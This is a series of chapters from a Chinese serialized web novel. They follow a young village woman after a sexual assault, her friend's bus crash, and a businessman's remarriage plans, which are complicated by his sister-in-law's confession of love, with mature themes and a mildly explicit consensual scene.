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第42章 施暴者不近人情,受害者无奈报警
亚宁知道这件事如果传出去对自己的名声很不好,而且很有可能何武家就会来退亲的,她舍不得何武,她想着和何武在田间地头的劳作场景,她想着何武用自行车带着自己来县里的场景,她想着何武在自己家吃饭很快的场景,她想着她生气时何武傻笑的场景…一切的一切,自己的向往,心中的梦想,皆被昨天晚上住招待所的好心肠粉碎得一干二净,曾经的山盟海誓,曾经的你恩我爱,都会被这发生的残酷现实而改变。
岁月漫长路,出路在何方?心疼抚摸着亚宁的肩膀说:“这件事我肯定烂在肚子里,也不会告诉任何人。”
心疼的话,亚宁的眼泪又流了下来:“我也不知道该咋办?”说着又小声的哭了起来。
坐在身旁的心疼问:“恨他吗?”
亚宁的哭声更大了。
“他昨天晚上动你身子没?”
亚宁点了点头。
“是你同意他动你的身子的?”
亚宁摇了摇头。
“他是不是和你下面有实质性的接触了”?
亚宁摇了摇头继续哭着说,“我求求你别问了,我不知道。”
“你自己有感觉没感觉都不知道吗?你别在这哭了,哭是解决不了问题的,我们现在要想办法解决问题!”心疼生气的从床边站了起来。
亚宁慢慢的停止了哭声,小声的说,“怎么解决?”
“我问你,他是咋进来的?”
“他说志奎单位的大门锁了,招待所有没有房间了?就让服务员打开了我的房门进来了。”
“你没拒绝他吗?”
“第一次来,我没要他,第二次他又进来了说没房间了,我一看都两点多了,就同意让他在那个床上将就一晚上。”
“你都这么大的人了,一点安全意识都没有,难道你不知道他是个男的吗?你不会上308找来我吗?引狼入室,自讨苦吃”!
“我一看都后半夜了,想着他也没地方去,又不想打扰你们,就让他留下了。”亚宁委屈的说。
“那他到你的床跟前,你一点都不知道还是你同意他上你的床的?”
心疼这句话问的很直白,以至于她说出后都想收回。
“不知为什么,昨天晚上我好困,好像是有生以来最困的一晚,有许多事我真的不知道。”
“原谅我问话的直白,但这牵涉到性质问题。你不想一想,何武知道这件事咋想?”
“我最担心的就是他,我该怎么去面对,不说吧,揪心我一辈子,对不起他,说了吧,有时候说实话的结果就是终结。他要是知道了…”亚宁纠结停了一下说:“唉,既就是他不说啥,我也不会再和他牵手了,也许缘分就只能到这儿吧。”说完走到窗前望着窗外,一动不动。
“那眼下你决定怎么办?”心疼站在她的身后问。
亚宁转过身泪眼婆娑的望着心疼,:“那你说我该咋办?我真不知下一步该咋走?”
心疼想了半天说:“我的想法是这样的,你看行不?”心疼拉着亚宁的手又坐在床边:“我想,这事为了不让外人知道,唯一的办法就是要在小范围内解决,我的想法是让何川给你一点经济赔偿也当做对他的惩罚,顺便让他给你道歉,这个事就在咱们这个小范围里解决了,外面也不知道,咱们谁都不提说这个事,你觉得可以不?”<
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“我一点都不想见他,我不需要他的道歉,赔偿?我收了人家的钱,我成什么了?旧社会女人拿男人钱算什么交易?”
心疼叹了口气,轻轻握住亚宁的手,“我知道这对你来说很难接受,可是如果闹大了,对你的名声也不好。而且现在当务之急是要让你心里好受一些。”
亚宁猛地甩开心疼的手,声音带着一丝绝望,“我的清白没了,怎样才能好受?你以为我在乎名声吗?在乎赔偿吗?我只恨自己当时为什么不清醒。”
心疼一时语塞,她知道亚宁此时内心的痛苦如同深渊般难以填补。沉默良久,心疼缓缓开口,“那这事总得有个说法吧,他何川也不能躲着不见呀,他让你受委屈,我就让他受报应。不管你做出什么样的决定,我都会支持你的。”
亚宁抬起满是泪痕的脸,眼中闪过一丝犹豫,“你还有别的想法没?”
还没等到心疼回答,张志奎满头大汗的进来了。
“你刚干啥去了?”心疼问。
“我去把何川那个小子揍了一顿,”张志奎生气的说,“那小子现在和我不来往了,说他走了”
听了这话,亚宁立马站起身,走到志奎跟前说,“你看这事都是我不好,都是因我引起的,害的你们的关系都搞僵了,真是太对不起你了。”
“哎,我说你啊,你是不是脑子里面进水了?还是让驴给踢了?你现在不考虑你的处境,现在还考虑别人的处境,你今天能有这种结果,都是因为你站在别人的立场去考虑事情的,你是不是现在脑子糊涂了?胡在这说啥了?”心疼在一旁厉害着亚宁
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第43章 知下落者命丧车祸,长期昏迷者逐渐清醒
就在亲戚村邻无法找到亚宁的时候,他们让万军到派出所报案。
第二天一大早,派出所的人还没上班,村民万军就来到派出所门口等着报案,就在万军在派出所做笔录的时候,唯一能知道亚宁去向的亚宁闺蜜心疼,正在坐着班车去县城开会的路上。
昨天亚宁的媒人来到心疼的住处,问她是否知道亚宁的下落是?心疼还是隐瞒了自己知道亚宁去向的事实,并没有向媒人说明实际情况。
这件事,此时坐在班车上的心疼,心里还是有一点过意不去,并不是自己不想告诉媒人亚宁的去向,只因为亚宁告诉她暂时不允许向任何人透露自己的去向行踪。因为亚宁走的时候,心疼还正在梦里面睡得迷迷糊糊,一大清早,她就看到了亚宁留在桌子上的信。
现在心疼,拿着那封信又看了一遍,有回忆的以前的许许多多的点点滴滴,特别是亚宁陪心疼的去县城,找男朋友的时候被男朋友的朋友何川侮辱的事,对于心疼来说,从自己的内心有一种对不住亚宁的感觉,总是有一种亏欠在里面。她也没有想到,她和志奎的决定,虽然是采取的是先斩后奏的方法,但是亚宁后来还是同意了他们俩的方案。
令心疼和亚宁以及志奎三个人没有想到的结果是,本吓唬吓唬一下合川,让他交点钱,把这个事小范围内处理掉就完了,没有想到,公安接到他们的报警后并未私下协商处理,而是经过调查取证,多方走访,锁定证据,最后以强奸罪确把何川给逮了,这个结果真是出乎他们的预料。
现在何川被判刑了,亚宁因为这件事,自己的清白也让村里的人说三道四,亚宁的父母如同看犯人一样,让亚宁呆在家里寸步不离,为的就是担心她出个什么意外,家里也怕失去这个唯一的女儿。
前天下午,亚宁趁着父母外出的机会跑了出来,直接来到心疼这里和心疼住了一晚上,临走前给心疼留了一封信。
昨天早晨不辞而别,心疼的心里到现在还有一种说不出的感觉,她心理解做为父母寻子心切的心情。
想到亚宁的父母,心疼心里忽然有一种对不住两位老人的感觉,因为她是唯一一个知道亚宁下落的人,当寻找亚宁的人来到她跟前时,她并没有说出亚宁的下落,坐在班车上的心疼,心里有一种后悔的感觉,他知道亚宁的不辞而别会让她的父母陷入了深深的担忧和自责之中。
心疼回想起过去的日子,感觉到老人对亚宁的过度保护可能给她带来了沉重的思想负担。
从前天晚上和亚宁的促膝长谈,她也理解亚宁的困惑和迷茫。一个20多岁的人了,没有经济收入,依靠父母的辛苦,亚宁总觉得自己是不能靠父母养活的。
心疼也支持亚宁的想法,呆在家里就是井底之蛙,出了村子看见的是偌大的世界,亚宁离开村子,换个环境或许对自己的心理调整也有一定的积极意义。
现在亚宁突然做出离家出走的决定,太意外,心疼总认为前天晚上的交流至少她会有一段准备时间,谁知给心疼留信,不告诉父母,这是亚宁对父母的不孝顺,也是我心疼对两位老人的不孝顺,等我从县上开完会,一定回来后第一时间去亚宁家里,告诉叔叔阿姨亚宁的下落,向他们道个歉认个错,以免亚宁的父母着急上火。
想到这,心疼把手里刚看完的信折了起来,装在自己的
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背包里。
心疼把信装进背包后,她向窗外望去,心疼才发现天空正在慢慢变亮,崭新的一天即将开始。
车内温度很舒服,心疼往后靠了靠,她要补补早起的觉。
班车司机望着车窗外的山路,心中充满了担忧。今天的路面异常湿滑,冰雪覆盖着每一寸道路,让他感到十分不安。他甚至想放弃继续前行,以确保乘客们的安全。
然而,老板娘坚持让他在冰天雪地中继续行驶。她认为,这些乘客们都有自己的事情要做,而且正在抓商机,利用这寒冷的天气的机会贩回春节所需的布匹,不能因为路况不好就耽误他们的时间和商机。
班车司机无奈地叹了口气,他知道老板娘的决定是不可更改的。
他小心翼翼地行驶在山路上。车轮在冰雪上打滑,车身不时地晃动,让乘客们都感到十分紧张。班车司机紧紧地握住方向盘,全神贯注地注视着前方的路况,不敢有丝毫的大意。
班车在蜿蜒的山路上行驶,车轮在湿滑的路面上艰难地转动着。突然,司机感到一阵失控,车身开始摇晃起来。他拼命地踩刹车,但车轮却在冰面上打滑,无法停下。
班车像一匹脱缰的野马,冲向了路边的山沟。乘客们惊恐地尖叫着,试图抓住身边的东西,但一切都太晚了。班车坠入了深不见底的山沟,发出了一声巨响。
车身严重变形,玻璃碎片四处飞溅。乘客们被困在车内,有些人受伤流血,有些人则昏迷不醒。寒冷的空气从破碎的车窗中涌入,让人感到刺骨的寒冷。
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第44章 小舅子逐渐清醒,姐夫哥择日结婚
“你说什么你的小舅子,他清醒了?”沈莎莎瞪大眼睛望着吴之玄:“你不是说他都待了多长时间,可能没有希望了吗?怎么突然就能清醒呢?”
兴高采烈的吴之玄说,“可能是我们的诚心感动了菩萨吧,不管咋说,只要他能清醒,就是我去掉心病的时候,实话告诉你吧,他如果不清醒过来的话,这将是我一辈子的心痛,现在心痛没了,雾霾散去,我彻底高兴死了,”
说完,吴志轩一把抱起沈莎莎,在沈莎莎的脸上不停的亲了几口。
“你看你一高兴就没正形了,”沈莎莎用手捶着吴之玄说,“我们结婚的拦路虎给排除掉了,下一步我们该怎样打算?是不是该合计合计呢?”
吴之玄把沈莎莎放了下来,他坐在沙发上说,“这一次,我们一定要风风光光的办一个轰轰烈烈的婚礼,这叫好事成双,我渴盼的美梦终于可以成真了,”
说完又站起身来,抱起沈莎莎:“今天晚上我将发挥我男人最大的本能,让你见识见识什么才是雄伟威猛的男人。”
“那你以前不是男人吗?”沈莎莎害羞的问。
“以前的男人是带有心病的男人,今天的男人是欣喜若狂的男人,是欲攀上巅峰的男人”,吴之玄说着,抱着沈莎莎直接放倒在沙发上。
沈莎莎推着他说:“你疯了,这是在沙发上,现在才几点,还早着呢,窗帘都没拉,小心别人看见。”
“我才不管他呢,我们俩是合法的夫妻,谁看见怕什么?”吴之玄一边说着一边大口的喘着气,他用手解解开沈莎莎的睡衣扣子,当他看到沈莎莎那玉笋般白皙的胴体时,眼睛发直,直勾勾的望着躺在沙发上的莎莎,瞬间,他褪去衣服,不顾一切的扑在她的身上…
于是在日光灯的照射下,两个白花花的身子,在沙发上纠缠在一起,是那么的默契,那么的亢奋,那么的顺其自然,那么的水到渠成。
平时十几分的折腾,今天不知什么原因,两个人折腾了将近40分钟。
当满头大汗的吴之玄从沈莎莎的身上起来的时候,他顺手抓起身边的衣服,挡住自己,又把沙发上的浴巾扔在莎莎身上,为的是遮住她那一丝不挂的身体。他抬头一看,4.05
吴之玄笑了起来对沈莎莎小声说:“真没想到大白天还有干这事的人。”
沈莎莎坐了起来,用浴巾围着自己的胸部,走向窗帘旁边,侧身把窗帘拉了起来,然后走到吴之玄的面前,依偎在身她的怀里说:“你今天搞得我有点受不了,咱俩这么长时间,我第一次感觉到不舒服。”
吴之玄一惊,在她的脸庞上亲了一下说:“是身体不舒服吗?”
沈莎莎点了点头,小声说:“有点不舒服,但还是能接受,就是你今天太厉害了,我都有点招架不住。”
“痛并快乐着,这是夫妻的相处之道,“吴之玄刮了一下沈莎莎的鼻子笑着说。
“你真下流,不和你说了,我去洗一下,”沈莎莎说着就进了卫生间。
吴之玄站起身来边往卫生间门走边说:“今天晚上还会发生第二次世界大战的,你要有思想准备哦。”
说着他也进了卫生间。
与此同时,在医院里的张老汉,正在和儿子张国栋,作着初步的交流。
根据医生的交代,患者的记忆恢复可能需要一段时间,所以目前的情况
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下,首先要保证患者有一个健康的心态,确保他不受刺激,以平和的心态,和他多交流,多沟通,唤醒他记忆中曾经失去的东西。
通过两个多小时的交流,张老汉发现了一个问题,那就是有时候对孩子说的事,他似乎有记忆,有些事情他完全茫然地望着自己,好像根本没有发生一样,而且张国栋的语言表述能力,现在只能是简单的,几个单词说出来。这对于张老汉来说,已经是相当的满足了。
自从孩子受伤,到现在的逐渐清醒,缓慢恢复,让我很所付出的艰辛和汗水,作为儿子的张国栋,是根本无法知道和理解的。
望孩子有时候盲目的表情,有时候欣喜的表情,张老汉由衷的感到高兴,他坚信,只要自己一直陪伴在孩子身旁,陪伴他多说话,多交流,多沟通,孩子一定会康复好的,和正常人是一样的,想到这,张老汉坚定了自己的信念。
张老汉正在床头柜下整理东西,忽然听到张国栋努力发出微弱的声音:“爸……谢……谢。”张老汉紧紧握住儿子的手,泪水再次夺眶而出。
这天晚上,张老汉回到自己的出租屋兴奋的几乎一夜没合眼。
张国栋的好转,让姐夫吴之玄由衷的高兴,他心里的一颗石头终于落地了,去了心病。
吴之轩是那么的亢奋和高兴,在和莎莎又一番翻云覆雨之后,两人累得精疲力竭。
过了一会,吴志轩向任莎莎说出了自己想法:“莎莎,咱俩发展的关系,我没有告诉我的岳父。”
沈莎莎莫名其妙:““你认为你有必要告诉他吗?”
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第45章 突然探访惹心烦,心想事成却有绊
“一种敌意的感觉。”沈莎莎说。
“敌意的感觉?”吴之玄听不明白什么意思?“说说有什么敌意不敌意的?”
说到这,吴之玄突然好像明白了什么:“哦,你是不是说我们两个今天不应该去,或者说今天你不应该去,是这个意思吗?”
“这是一层意思,还有一层意思,你知道吗?”沈莎莎问。
“我只能明白这一种意思,更深层次的,我还真没想出来,”
“你真的不明白,还是假的?不明白?“
“我真不明白。”
“你如果真不知道,也没有给我装,那我就告诉你,”沈莎莎停了一下,放慢语速说:“你的小姨子担心失去你这个姐夫!”吴之玄感觉到沈莎莎说这句话的时候,好像是每个字每个字往外蹦。
“失去我,我有那么重要吗?”吴之玄笑着说。
“你不想一想,你们岳父家的事,大事小情全部都在靠着你,离开你行吗?”
“这倒是。”
“所以你的小姨子今天有一种失落和愤怒,靠山山倒,靠水水流,我今天一去,你的小姨子和你的岳父肯定明白是咋回事了,对他们来说唯一的依靠没有了。”
“那你说咱们把这事是不是处理的有点突然?”
“突然什么?没有什么突然的。他们必须面对这样的现实,而且这是迟早的事,所以我认为早总比迟好。”
就在沈莎莎和吴之玄在车上说话的同时,在医院里的张国静和父亲也正在呕着气。
送完吴之玄和沈莎莎从医院走了以后,张老汉便责怪张国静说:“你现在咋越来越说话,不像话了?人家今天有的是朋友在当面,你也不给你哥留一点情面,平时你挺尊重他的,今天为啥在他跟前说话那么横眉冷对的?”
“他还是我哥吗?”
“咋不是你哥?”
“他只能是我曾经的哥,从今天开始就不是了。”
“只要一天是你哥,就永远是你哥,咋能从今天起,又不是你哥?”张老汉生气的说。
张国静不吭声,闷着头坐在兄弟的床前,她突然站起来,跪在床上给弟弟按摩起背来了。
按着按着她对弟弟说:“从今天我才知道了,以后有什么事只能我们共同面对的,任何人都是靠不住的,人总是要会变的。”
正在接受姐姐按摩的国栋,似乎听懂了姐姐的话,他点着点头说:“靠自己,靠自己。”
张老汉坐在床前说:“你今天这感慨咋这么多?是不是工作不顺心?”
张国静皱着眉头,不解地问父亲:“刚才吴之玄领带来的女的是什么意思?”父亲坐在沙发上,平静地看着女儿,淡淡地说:“你应该叫他哥,还喊他的名字。不过他们的到来我倒是明白的。”
张国静的心中充满了疑惑和不安。她不明白父亲为什么会如此平静,难道他对吴之玄的行为并不在意?她试图从父亲的表情中找到答案,但父亲的眼神却让她感到更加困惑。
父亲站起身来,走到窗边,望着窗外的楼下。他沉默了片刻,然后缓缓地说:“小静,有些事情你还不明白。你姐夫是一个人,迟早是要往前走一步的,只是我觉得有点快,他的行为往往有着更深层次的目的。”
张国静听了父亲的话,心中更加疑惑。她不明白吴之玄的目的是什么,也不明白父亲为什么会对他如此了解。她决定找机会和吴之玄谈一谈,弄
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清楚他的真实意图。
“你的意思是我们今天去,他们明白了我们的意图?”与此同时,正在路上开车的吴之玄问沈莎莎:“这就说明我们的目的达到了,什么目的?”
“你的岳父和你的小姨子通过我一去就知道了咱们的这层关系,他们也就猜个八九不离十,估计我们俩是要结婚的,所以你的小姨子就显得非常的生气和无奈,毕竟他们家大大小小的事情,以前都是在依靠着你啊,或许他认为,从今天开始,或者是往后的日子,特别是当我们俩结了婚以后,他们将会失去一个主心骨,我估计这就是他今天说话难听的真正意图。”
“其实想一想,有时候实际行动要比语言更具体,更能说明问题。”
“对,今天我们已经用实际行动告诉了你的岳父和你的小姨子,我们俩将以后是合法的夫妻,或许你的岳父是你曾经的岳父,你的小姨子将是你曾经的小姨子。”
“有这种可能。”
“不是有这种可能,而是一定是这样。”沈莎莎坚信着说。
开车的吴志轩沉默了。
吴之玄和沈莎莎到了家居广场,他们俩转了大半天,选了一套柜子和一套沙发,然后就驾车回到家里。
晚上,吴之玄的小姨子张国静回到宿舍以后,心里非常的不舒服,她自己也不知道自己为什么今天的心情特别的糟糕。
张国静一直觉得姐姐去世后,姐夫另找伴侣是再正常不过的事情。毕竟,生活还要继续,每个人都有权利追求自己的幸福。
然而,当她今天亲眼看到姐夫和那个女人在一起时,她的心里却涌起了一股难以言喻的不舒服。
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第45章 再婚日子已确定,无中生有小姨子
昨天晚上吴之玄和沈莎莎的床上大战,累得吴之玄早上快十点了才来到公司。
鬓角微痛的吴之玄刚下车,走到公司门口,身后传来一个女人的声音:
“哥,你咋才上班?”
吴之玄一下子就听出了这个熟悉的声音就是小姨子张国静。
吴志轩转过身,他发现张国静静静的站在自己的身后望着自己。
“你不上班,咋跑到我这里来了?是不是有什么重要的事?”吴之玄问。
“没有什么事,今天我休假,闲的没事,我就坐车过你这来转转。”跟在吴智轩身后的小姨子说。
“国栋今天还可以吗?”吴之玄拿出钥匙,边开门边问。
“好着呢,现在语言恢复的差不多了,记忆也相当不错,医生说过一段落就出院了。你知道不,你昨天走了以后,他还一直在问,咋不见哥了?咋不见哥了?”张国静高兴的说着。
“是吗?看起来我没白疼那帅哥。”进了办公室,吴之玄高兴的说着,顺便拿起已经烧好的水壶给张国静倒了一杯水:“昨天听爸说,国栋主要不能再受刺激,医生再三叮咛要他保持一个良好的心态,你可千万不要惹她生气哦。”
“那当然了,谁让我是他姐呢!通过这件事我也知道,他也是算大难不死,必有后福的人呢?”张国静随便说着。
“呸呸呸!”吴之玄一脸严肃:“你说话咋这么不注意的,什么死不死的?别说那晦气的话,不吉利,马上就要出院了,说点好听的。”
“哦,对对对,应该说是经历一场劫难,”张国静说。
正在这时,小刘站在办公室门前敲了敲门,进来了。
他和张国静相互笑了一下,点了点头,算是打招呼了。
小刘转过身对吴志轩说:“哥,这是政府发的文件,你看看,要求我们对车辆全部进行一次系统的安全检查,我们的修理厂也是承修单位之一,在这次的范围之内,到时候我担心车多,忙不过来,是不是再…?”
小刘说到这,并没有再说下去,跟那吴之立很久的小刘很清楚,凡是需要吴之立选择决定的事,他很少参与说话。
“人手不够就再招些人吧”。吴之玄说。
“我担心他们来了以后,技术可能不过关,”小刘小声的问。
“没事,就找一些没有技术的更好,县上说安全大检查,那都是走个形式,无非就是检查检查车的外表,看看螺丝松紧,刹车片什么好着呢没有?没有必要那么认真,哦,对了,你看大概需要招多少人?”
“可能需要十个人,”小刘一口报出了所需的人数。
“找五个就行了,全部按新来的工人的待遇对待,等到行动过完之后就让他们走,咱们也不养活他们。”
“哦,知道。另外还有一件事,就是老王打人的事,派出所吴志军早上来过,没有见到你的人,吴志军说,他想过来再和你说说这个事。”小刘说。
“那他们现在的态度是什么?”吴之玄问。
“吴志军说,好像是什么对方的家属要求经济赔偿就不追究刑事责任。”
“还刑事责任,把事往大的弄呀?还是?”
“吴所早晨告诉我,他说告诉你老板,早点把这个事处理掉,免得夜长梦多。”
“哦,我明白了,我这忙完就去找他和他见个面,”吴之玄端起茶缸喝了一口水:“哦,不,算了,你在得月楼订个包间,我晚上和我去坐一坐。”
小刘点了点头:“哥,你还
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有事吗?”
“没事了,你去吧。”
小刘出了吴之轩的办公室后,吴之玄问坐在一旁的张国静:“你们也算认识,你觉得这个小伙子怎么样?”
“他是个挺有眼色的人,也比较活道,你当初看人没看错。”
“你哥的眼光一向是不错的,哦,对了,你是不是也应该考虑一下你的婚事了?你今年都24了,该考虑了。”
吴之玄的一句很普通的话,却让张国静感到非常的失落,她今天的来其实就是带有一定的目的性。
张国静强装微笑说:“还早着呢,到时候再说吧,你该不会是要乱点鸳鸯谱吧?”张国英明白他问话的言外之意。
“并不是乱点鸳鸯谱,我也一直在考虑你这事,主要也在于你的态度,我就是这考虑这个小刘孩子还是相当不错的,你们年龄又相仿,我把丑话说在前面啊,我这只是我个人的想法,至于你和小刘是不是都有那种意思?我从来没有在小刘面前说过这件事,所以今天既然你来了,我就想问问你的意思,只有我明白了你的意思,我才能和小刘去谈,如果没有明白你的意思,我去和人家直接谈,却不同意,是不是就会闹到你哥我的面子挂不住,毕竟我是他的老板嘛。对不?”
“哥,我问你一句话,你要如实回答我,”张国静并没有接他的话题,提出问题。
吴之玄一愣:“我什么时候还给你撒过谎?今天还这么严肃呢?”
张国静朝门外看了看,又把椅子往前拉了拉,挨近吴之玄的办公桌,他坐在他办公桌的对面,很神秘的看着吴之立的双眼认真的问:“昨天和你去医院的那个女人是你的女朋友吗?”
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第46章 痴心暗恋姐夫哥,女友碰见尴尬场
张国静在吴之玄的办公室里声泪俱下,特别是当她说到喜欢吴之玄的时候,吴之玄感到非常的惊讶,他担心别人听到张国静在自己的办公室哭泣声,顺便把办公室的门闭了起来。
而他的这一随手闭门,给了张国静一个错误的信号。当吴之玄闭完门转身走过来的时候,张国静突然从椅子上站了起来,一下子扑到吴之玄的怀里,将头深深地埋在吴之玄的怀里,双手紧紧的抱住了他。
吴之玄被张国静的这一举动,搞得不知所措,他心砰砰砰的乱跳,用手推着抱住她的国静说:“起开起开,千万别这样,你这是干啥呢?这里是办公室,你这样是会给我造成不好的影响的。“
张国静不吭,仍然把脸紧紧的贴在他的胸口死死的抱住他,吴之玄越想推开她,张国静越是把他抱的紧。
吴之主极力的想推开抱住自己的国静,但是国静就是不松手。
就在这个时候,在没有敲门的情况下,门被外面的人突然堆开了,进来了一个人。
张国静这才极不情愿的松开了吴之玄,似乎没有害羞感。
满脸尴尬的吴之玄扭头一看,他真想找个地缝钻进去,进了办公室的,不是别人,是正准备和自己筹备婚礼的未婚妻沈莎莎。
看到吴之玄和张国静极不自然的表情,沈莎莎一眼就认出了这个女的,是昨天一面之交的吴之玄的小姨子。
沈莎莎火冒三丈!
她从来没有想到,口口声声爱自己的吴之玄,竟然和小姨子还有这么一腿。
生气归生气,但是这是在吴之玄的办公室啊,这是在吴之立的公司里啊,如果在这里大吵大闹的话,肯定对他和自己以及小姨子搞的两败俱伤,名誉扫地,况且大部分人都知道他俩正在筹备婚礼。
沈莎莎强忍着胸中的怒火,走到吴之玄跟前小声说:“兔子还不吃窝边草呢,你看你都干了些什么事?我真是瞎了眼!”说完扭头就要走。
满脸通红的吴之立赶快追了上去,一把抓住还没有走出办公室门的沈莎莎的胳膊:“你听我给你解释。”
就在此时,站在一旁的张国静突然转身飞快的走出了办公室的门,拉着沈莎莎胳膊的吴之玄冲着张国静大声喊:“国静,你干啥去?”
张国静并没有理会吴之玄的喊声,她头也不回,快速的走出了公司的大门。
看到吴之玄的举动,沈莎莎用力甩开吴之玄的手,坐在刚才张国静坐过的椅子上说:“你这一喊,我还不走了。”
沈莎莎把自己的手挎包往吴之玄的办公桌上一放,双手交插,翘起二郎腿:“先声明,我很不舒服,也很生气,给你留足面子,咱们不要吵,要吵回家吵。好吧,让我洗耳恭听,你要给我解释什么,你解释吧。”
吴之玄望着从自己视野里消失的张国静,转过身来:“不是你想象的那样。”
“我想象的那样,那你说说?是什么样的?我想象的是什么?”吴之玄深吸一口气说道:“你真的是误会我了,是国静主动拥抱我的,我当时正在极力推开她,结果你就进来了。”
沈莎莎冷笑一声:“呵,你的意思是她投怀送抱,而你是无辜的?你们孤男寡女共处一室本就不合适,再说她为什么不抱别人就抱你?”
“没有什么不合适,她是妹,我是哥。”
“那你当哥的也不能欺负妹妹呀?更不能闭着门呀!”
“我根本没有那意思,我根本就没有那意思,我闭门的原因就是因为她在我房间里说话太激动了,我担
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心别人听见对我们俩都不好,所以我才把门闭上的。”
“你既然君子坦荡荡,为什么要闭门呢?”
“我不是告诉你了吗?她在我这哭的很厉害,而且和我争论的声音很大,我考虑到我的面子,她的声誉,想给她保留一点面子,准备让她和小刘处一处,所以才闭上门的。”
“她为什么在你办公室里哭?”
“不就是因为她情绪激动吗?”
“是什么原因让她情绪激动?”
“她把自己的错误想法当成正确的观点,我说了她。”
“你编,编,再给我编,我发现你能当一个很好的编剧。”
“什么编剧不编剧的,我们现在说的是正事!”
“难道我和你说的不是正事吗?”
“那你提什么编剧不编剧的干嘛?”
“因为编剧能编故事,所编出来的故事都是假的。”
“我哪一件事,是给你编出来是假的?”
“现在你不正在编吗?”
吴之玄一下无语了:“唉,我真不知道说什么好,”他无奈的掏出烟点了起来:“我真的比窦娥还冤啊!”
“别把自己装成一副可怜者的样子,让人去同情你,告诉你,我可不同情你。”
“我要什么同情不同情,什么可怜不可怜,我给谁装啊?“吴之玄觉得很无奈。
“你这不是正在给我装吗?这不是正在给我编吗?”
“好了好了,你说我在装,我在编。现在咱俩在办公室,不能再这样吵下去了,咱俩都不提这个话题好吗?你先说你现在来,有什么事?”
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第47章 知晓女友出走原因,姐姐突然年前回家
亚宁离家出走了!
媒人从晓雅父母家离开的第三天,上沟村就全部传开了,曾经和何武订婚的亚宁,离家出走了!
这条消息如同一枚炸弹,顿时在方圆几公里炸开了锅。
当这个消息传到晓雅的父母耳朵里时,俩口满肚子都是气:“你说这亚宁这孩子一点都不省事,前面刚出的那事,后面又有这事,这是让我们老何家再次丢人现眼,也不知道何武当时是怎样看上她的,我就觉得一个乖巧听话,老实巴交的孩子,为什么会出这么多的幺蛾子?”正在和丈夫装苹果的晓雅母亲对丈夫说。
在一旁的丈夫听了:“孩子出了事,肯定也是正因为人心底太善良了,如果亚宁是一个厉害的孩子的话,婉莹的那小子何川也是得逞不了的。”
“那她也应该安安分分守在家别让人再重新议论啊。现在出走是什么原因?”
“你说是什么原因?”丈夫把妻子?好口的苹果袋子往三轮车厢上一放说:“一个女孩家,名声比什么都重要,出了事以后,父母在家寸步不离,不过我觉得走了也好,落个清净。免得人指指点点,背后议论。”
“清静?”晓雅母亲停下手中的活翻了丈夫一眼:“亏你这么大的年纪了,说出有没有人情味的话,你知道亲家父母的心里多难受吗?哦,不对,不是亲家父母,是亚宁的父母,亚宁的父母。”
“你想想,现在亚宁和我们家退了婚,还有人愿意和亚宁家做亲吗?我不是说了吗?女孩的名声比什么都重要,现在村里八乡都知道亚宁这件事了,你说孩子还能在这里嫁出去吗?”丈夫又坐了下来开始装苹果。
“嫁不嫁出去与她出走有什么关系?”
“所以我说出走也是一种解脱,不管是亚宁还是对咱的亲家,哦,不对,应该是亚宁的父母来说,也许是一件好事。”
“好事,那亚宁的父母还不难过死,除非你这没心没肺的爸爸。”
“说的也是啊,在家,父母和娃难受,不在家,父母难受,两头为难啊,看起来人的皮真是难披呀!本想着好好的一桩婚事,愣是让飞来横祸给拆散了,让我们空欢喜一场。”丈夫惋惜的说。
“媒人不是走的时候让咱们和孩子商量一下吗?”
“还商量个屁,既是武儿娃同意,我这一关就不同意!咋了?你还想让你儿子把亚宁娶回门?”
“我是说咱们一直没和孩子说这事。”
“还说个啥?孩子比我们心里清楚,知道的比我们多。前天媒人问武儿说如果亚宁再来找你见面你愿意吗?你知道儿子是咋说的?”
“咋说的?”晓雅母亲忙问。
“你娃说,叔,你认为我们俩还有必要见面吗?你听听,这就是孩子的态度。”
“你亲耳听到的?”
“前天媒人不是都出了大门了,又折回来说问武儿电视操作的问题,他真正的目的是问儿子的态度。”
晓雅母亲叹了口气:“唉,总有点不甘心,可惜那亚宁了。媒人没来,原来说回去问一下,给我们个回音,没想到家里出了这么大的事。,我还纳闷,媒人这几天咋没来,原来是这事。”
“哦,你说到这个事我都想起来了,上次媒人拿的那个钱,把我们的彩礼扣掉就算了,剩下的多余的,要不退给亚宁家吧?”丈夫停下手中的活认真的对妻子说。
妻子满脸的气愤,她也停下手中的活:“你真是个胳膊肘往外拐的人,你咋能这样想呢?明明是她亚宁耽误了我们家孩子这么长时间,难道不应该给我们家孩子赔偿吗?如果我们孩子订的是别人
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家的女孩,说不定现在都结婚了,我都不抱上孙子呢,为什么要给他退这些多余的钱呢?他那钱也是对我们家孩子的一种补偿,甚至于不够。武儿去她家经常干活,就算付工钱都不够。”
“你就知道钱,钱,钱,你喜欢钱去钻钱眼里去。”丈夫唠叨着。
“钱如果有钱眼,我早就钻进去了,还用你说吗?再说了是咱们当父母的没有能力,给孩子把房盖好,如果给他把房盖好,把婚一结,我们不是也抱上孙子了吗?那亚宁也不会出这等事的。
我可告诉你,你千万不要在这个时候给媒人松口,钱都送到我们这来了,后面我们提的条件,他一答应我们不就结束了吗?你现在又冒出个退钱的想法,你是不是脑袋里面全是水啊?”
“不是,我就觉得闫宁的父母也怪可怜的。”
“他们可怜你不可怜我不可怜,我们不可怜,给儿子连媳妇都娶不回家,才出了这么大的事,如果娶回家能有这等事吗?你也不想一想,那钱根本不是亚宁家出的,你知道吗,那是你隔壁家的婉莹出的,你知道吗?”
丈夫没有吭声,继续在往袋子里装着苹果,默不作声。
他心里在想这件事,从前到后好像是电视一样,一幕一幕的,那么的让人想不明白。
亚宁出事前的那一段时间,儿子何武去亚宁家,经常帮忙干活,亚宁家的大事小情都几乎来找何我。而且亚宁父母也知道亚宁和何武的关系是那么的亲密,两个孩子可以说真是一见钟情,自己和妻子也曾打听过亚宁家的情况,没有人不说亚宁家人的好,都说他们是好
人,所以才定下了这桩婚事,两个孩子也经常在一块欢天喜地,甜甜蜜蜜的。
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第48章 万般无奈找父母,回家才知弟退婚
“这天寒地冻的,你带着娃咋跑回来了?有啥事么?”
厨房里晓雅的母亲对着正在帮忙的晓雅说,在晓雅母亲的记忆中,这可是自女儿结婚五六年来第二次回家,因为她几乎从不回娘家,除非有事。
“马上就要过年了,我没事就带娃回来转转看一看,”晓雅表面显得很平静的说。
母亲放下手中的筷子,走到正在摘菜的女儿面前低下头说:“你突然回来,肯定有啥事,有啥烦心事,你跟妈说。”
